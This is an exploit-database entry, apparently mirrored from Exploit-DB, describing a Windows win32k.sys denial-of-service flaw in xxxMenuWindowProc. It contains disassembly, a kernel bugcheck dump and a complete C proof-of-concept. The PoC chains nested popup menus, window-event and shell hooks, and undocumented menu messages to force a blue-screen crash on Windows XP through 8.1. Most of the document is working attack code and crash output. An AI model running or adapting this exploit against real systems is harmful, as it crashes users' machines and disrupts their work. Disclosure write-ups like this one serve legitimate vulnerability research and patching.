Microsoft Windows – ‘win32k.sys’ Denial of Service

  • 作者: Kedamsky
    日期: 2014-11-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35326/
  • # Exploit Title: Microsoft Windows Win32k.sys Denial of Service
    # Date: 20-11-2014
    # Exploit Author: Kedamsky (kedamsky@mail.ru)
    # Vendor Homepage: http://microsoft.com
    # Software Link: http://www.microsoft.com/en-us/download/windows.aspx
    # Version: XP SP3, Vista SP2, 7 SP1, 8, 8.1 (x86/x64)
    # Tested on: [XP to 8.1 x86/x64]
    
    Microsoft Windows win32k.sys DoS exploit
    by Kedamsky
    mailto:kedamsky@mail.ru
    
    
    =========================
    Vulnerability Description
    =========================
    
    The vulnerability exists in the function win32k!xxxMenuWindowProc. It
    calls the function win32k!xxxMNOpenHierarchy that can return valid
    pointer to data and 0 or -1 otherwise. The function
    win32k!xxxMenuWindowProc does not validate the result of
    win32k!xxxMNOpenHierarchy properly and it is possible to try to read
    data from address -1.
    
    
    ===============
    Vulnerable code
    ===============
    8f584e72 85c0 test eax,eax
    8f584e74 0f84f7040000 je win32k!xxxMenuWindowProc+0xf00 (8f585371)
    8f584e7a 8b00 mov eax,dword ptr [eax] ; <-- eax = -1
    ...
    8f584fa9 e8b2320000 call win32k!xxxMNOpenHierarchy (8f588260)
    8f584fae e9bffeffff jmp win32k!xxxMenuWindowProc+0xa01 (8f584e72)
    
    
    ================
    Typical bugcheck
    ================
    
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************
    
    PAGE_FAULT_IN_NONPAGED_AREA (50)
    Invalid system memory was referenced. This cannot be protected by try-except,
    it must be protected by a Probe. Typically the address is just plain bad or it
    is pointing at freed memory.
    Arguments:
    Arg1: ffffffff, memory referenced.
    Arg2: 00000000, value 0 = read operation, 1 = write operation.
    Arg3: 8f584e7a, If non-zero, the instruction address which referenced the bad memory
    address.
    Arg4: 00000000, (reserved)
    
    Debugging Details:
    ------------------
    
    
    READ_ADDRESS: ffffffff 
    
    FAULTING_IP: 
    win32k!xxxMenuWindowProc+a09
    8f584e7a 8b00 mov eax,dword ptr [eax]
    
    MM_INTERNAL_CODE: 0
    
    IMAGE_NAME: win32k.sys
    
    DEBUG_FLR_IMAGE_TIMESTAMP: 49e01b60
    
    MODULE_NAME: win32k
    
    FAULTING_MODULE: 8f480000 win32k
    
    DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
    
    BUGCHECK_STR: 0x50
    
    PROCESS_NAME: DOS3_1E3.exe
    
    CURRENT_IRQL: 2
    
    TRAP_FRAME: 9a862b64 -- (.trap 0xffffffff9a862b64)
    ErrCode = 00000000
    eax=ffffffff ebx=fe630478 ecx=9a862ba8 edx=9a862d14 esi=8f663c40 edi=fe816270
    eip=8f584e7a esp=9a862bd8 ebp=9a862c64 iopl=0 nv up ei ng nz na pe nc
    cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
    win32k!xxxMenuWindowProc+0xa09:
    8f584e7a 8b00 mov eax,dword ptr [eax] ds:0023:ffffffff=????????
    Resetting default scope
    
    LAST_CONTROL_TRANSFER: from 81b0ec83 to 81aeca98
    
    STACK_TEXT: 
    9a8626b4 81b0ec83 00000003 8d3d2bb2 00000000 nt!RtlpBreakWithStatusInstruction
    9a862704 81b0f769 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c
    9a862ad0 81ad936d 00000050 ffffffff 00000000 nt!KeBugCheck2+0x66d
    9a862b4c 81a8edb4 00000000 ffffffff 00000000 nt!MmAccessFault+0x10a
    9a862b4c 8f584e7a 00000000 ffffffff 00000000 nt!KiTrap0E+0xdc
    9a862c64 8f536f57 fe816270 000001e3 00000000 win32k!xxxMenuWindowProc+0xa09
    9a862ca4 8f506a54 fe816270 000001e3 00000000 win32k!xxxSendMessageTimeout+0x1d4
    9a862ccc 8f4f6cc8 fe816270 000001e3 00000000 win32k!xxxWrapSendMessage+0x1c
    9a862ce8 8f53de69 fe816270 000001e3 00000000 win32k!NtUserfnDWORD+0x27
    9a862d20 81a8bc7a 000201e8 000001e3 00000000 win32k!NtUserMessageCall+0xc6
    9a862d20 777e5e74 000201e8 000001e3 00000000 nt!KiFastCallEntry+0x12a
    0035f470 76368e7d 763621bd 000201e8 000001e3 ntdll!KiFastSystemCallRet
    0035f474 763621bd 000201e8 000001e3 00000000 USER32!NtUserMessageCall+0xc
    0035f4b0 7635f99f 00a96270 000001e3 00000000 USER32!SendMessageWorker+0x4d5
    0035f4d0 001010c2 000201e8 000001e3 00000000 USER32!SendMessageA+0x7c
    0035f4e8 76382336 00000004 000201f6 00000000 DOS3_1E3!HookProc+0x22
    0035f51c 76369c66 000a0004 000201f6 00000000 USER32!DispatchHookA+0x100
    0035f55c 76360e8e 0035f598 00000000 0035f5a8 USER32!CallHookWithSEH+0x21
    0035f580 777e5dae 0035f598 00000018 0035f664 USER32!__fnHkINDWORD+0x24
    0035f5ac 76380cf3 00101198 001f00f5 00000000 ntdll!KiUserCallbackDispatcher+0x2e
    0035f5b0 00101198 001f00f5 00000000 00000014 USER32!NtUserTrackPopupMenuEx+0xc
    0035f5d0 7636fd72 000201f6 00000111 00009876 DOS3_1E3!WndProc+0x68
    0035f5fc 7636fe4a 00101130 000201f6 00000111 USER32!InternalCallWinProc+0x23
    0035f674 76370943 00000000 00101130 000201f6 USER32!UserCallWinProcCheckWow+0x14b
    0035f6b4 76370b36 00a978d0 00a97800 00009876 USER32!SendMessageWorker+0x4b7
    0035f6d4 76394c23 000201f6 00000111 00009876 USER32!SendMessageW+0x7c
    0035f6ec 76394d23 00a9a640 00000000 00a9a640 USER32!xxxButtonNotifyParent+0x41
    0035f708 763849d3 0042dd64 00000001 00000000 USER32!xxxBNReleaseCapture+0xf7
    0035f78c 76372af0 00a9a640 00000202 00000000 USER32!ButtonWndProcWorker+0x910
    0035f7ac 7636fd72 000201ec 00000202 00000000 USER32!ButtonWndProcA+0x4c
    0035f7d8 7636fe4a 763767fa 000201ec 00000202 USER32!InternalCallWinProc+0x23
    0035f850 7637018d 00000000 763767fa 000201ec USER32!UserCallWinProcCheckWow+0x14b
    0035f8b4 76368b7c 763767fa 00000001 0035f920 USER32!DispatchMessageWorker+0x322
    0035f8c4 0010131d 0035f904 00000000 00000000 USER32!DispatchMessageA+0xf
    0035f920 00101460 00100000 00000000 003f1b04 DOS3_1E3!WinMain+0x16d
    0035f96c 7747d0e9 7ffdb000 0035f9b8 777c19bb DOS3_1E3!__tmainCRTStartup+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crt0.c @ 238]
    0035f978 777c19bb 7ffdb000 77b31ea1 00000000 kernel32!BaseThreadInitThunk+0xe
    0035f9b8 777c198e 00101359 7ffdb000 00000000 ntdll!__RtlUserThreadStart+0x23
    0035f9d0 00000000 00101359 7ffdb000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND: kb
    
    FOLLOWUP_IP: 
    win32k!xxxMenuWindowProc+a09
    8f584e7a 8b00 mov eax,dword ptr [eax]
    
    SYMBOL_STACK_INDEX: 5
    
    SYMBOL_NAME: win32k!xxxMenuWindowProc+a09
    
    FOLLOWUP_NAME: MachineOwner
    
    FAILURE_BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09
    
    BUCKET_ID: 0x50_win32k!xxxMenuWindowProc+a09
    
    Followup: MachineOwner
    ---------
    
    
    ================
    Proof of Concept
    ================
    
    //#include "stdafx.h"
    #include <windows.h>
    
    #define BSOD_BUTTON 0x9876
    
    HMENU hMenu[3];
    ULONG MenuLevel = 0;
    HWND hTargetMenuWnd = 0;
    
    void KeyEvent()
    {
    	INPUT input;
    	memset(&input, 0, sizeof(input));
     	input.type = INPUT_KEYBOARD;
    	input.ki.wVk = VkKeyScanA('1');
     
     	SendInput(1, &input, sizeof(input));
    
     	Sleep(50);
     
     	memset(&input, 0, sizeof(input));
    	input.type = INPUT_KEYBOARD;
    	input.ki.wVk = VkKeyScanA('1');
    	input.ki.dwFlags = KEYEVENTF_KEYUP;
    	SendInput(1, &input, sizeof(input));
    }
    
    LRESULT CALLBACK HookProc(
    	int nCode, 
    	WPARAM wParam,
    	LPARAM lParam)
    {
    	if (nCode == HSHELL_WINDOWACTIVATED && hTargetMenuWnd != NULL)
    	{
    		return SendMessage(hTargetMenuWnd, 0x1E3, 0, 0);
    	}
    
    	return 0;
    }
    
    VOID CALLBACK WinEventProc(
    	HWINEVENTHOOK hWinEventHook, 
    	DWORD event, 
    	HWND hWnd, 
    	LONG idObject, 
    	LONG idChild, 
    	DWORD idEventThread, 
    	DWORD dwmsEventTime)
    {
    	++MenuLevel;
    		
    	if (MenuLevel == 1)
    	{
    		KeyEvent();
    	}
    	else if (MenuLevel == 2)
    	{
    		SetWindowsHookEx(WH_SHELL, HookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
    			
    		hTargetMenuWnd = hWnd;
    		SendMessage(hTargetMenuWnd, 0x1F2, 0, 0);
    	}
    }
    
    LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
    	switch (message)
    	{
    	case WM_COMMAND:
    		if (LOWORD(wParam) == BSOD_BUTTON)
    		{
    			SetWinEventHook(
    				EVENT_SYSTEM_MENUPOPUPSTART, 
    				EVENT_SYSTEM_MENUPOPUPSTART,
    				GetModuleHandleA(NULL),
    				WinEventProc,
    				GetCurrentProcessId(),
    				GetCurrentThreadId(),
    				WINEVENT_OUTOFCONTEXT);
    
    			TrackPopupMenuEx(hMenu[0], 0, 20, 20, hWnd, NULL);
    		}
    	case WM_DESTROY:
    		PostQuitMessage(0);
    		break;
    	default:
    		return DefWindowProcA(hWnd, message, wParam, lParam);
    	}
    
    	return 0;
    }
    
    int APIENTRY WinMain(
    	_In_ HINSTANCE hInstance, 
    	_In_opt_ HINSTANCE hPrevInstance, 
    	_In_ PSTR lpCmdLine, 
    	_In_ int nCmdShow)
    {
    WNDCLASSA Class;
    Class.style = 0;
    Class.lpfnWndProc = WndProc;
    Class.cbClsExtra = 0;
    Class.cbWndExtra = 0;
    Class.hInstance = GetModuleHandleA(NULL);
    Class.hIcon = NULL;
    	Class.hCursor = LoadCursor(0, IDC_ARROW);
    Class.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    Class.lpszMenuName = NULL;
    Class.lpszClassName = "MyWinClass";
    
    	if (RegisterClassA(&Class) != NULL)
    	{
    		HWND hMainWnd = CreateWindowA(
    			"MyWinClass", 
    			"Microsoft Windows Win32k.sys Denial of Service Vulnerability", 
    			WS_POPUPWINDOW | WS_BORDER | WS_CAPTION | WS_VISIBLE, 
    			0, 0, 500, 200, 
    			NULL, 
    			NULL, 
    			hInstance, 
    			NULL);
    
    		if (hMainWnd != NULL)
    		{
    			HWND hButton = CreateWindowA(
    				"Button", 
    				"Click me to see BSOD", 
    				WS_VISIBLE | WS_CHILD | BS_DEFPUSHBUTTON, 
    				150, 50, 200, 50, 
    				hMainWnd, 
    				(HMENU)BSOD_BUTTON, 
    				hInstance, 
    				NULL);
    		
    			if (hButton != 0)
    			{
    				hMenu[0] = CreatePopupMenu();
    				hMenu[1] = CreatePopupMenu();
    				hMenu[2] = CreatePopupMenu();
    
    				AppendMenuA(hMenu[0], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[1], "1");
    				AppendMenuA(hMenu[1], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)hMenu[2], "1");
    				AppendMenuA(hMenu[2], MF_POPUP | MF_STRING | MF_MOUSESELECT | MF_BYCOMMAND, (UINT_PTR)0, "1");
    
    				MSG msg;
    				while (GetMessage(&msg, NULL, 0, 0))
    				{
    					TranslateMessage(&msg);
    					DispatchMessage(&msg);
    				}
    			}
    		}
    	}
    
    return 0;
    }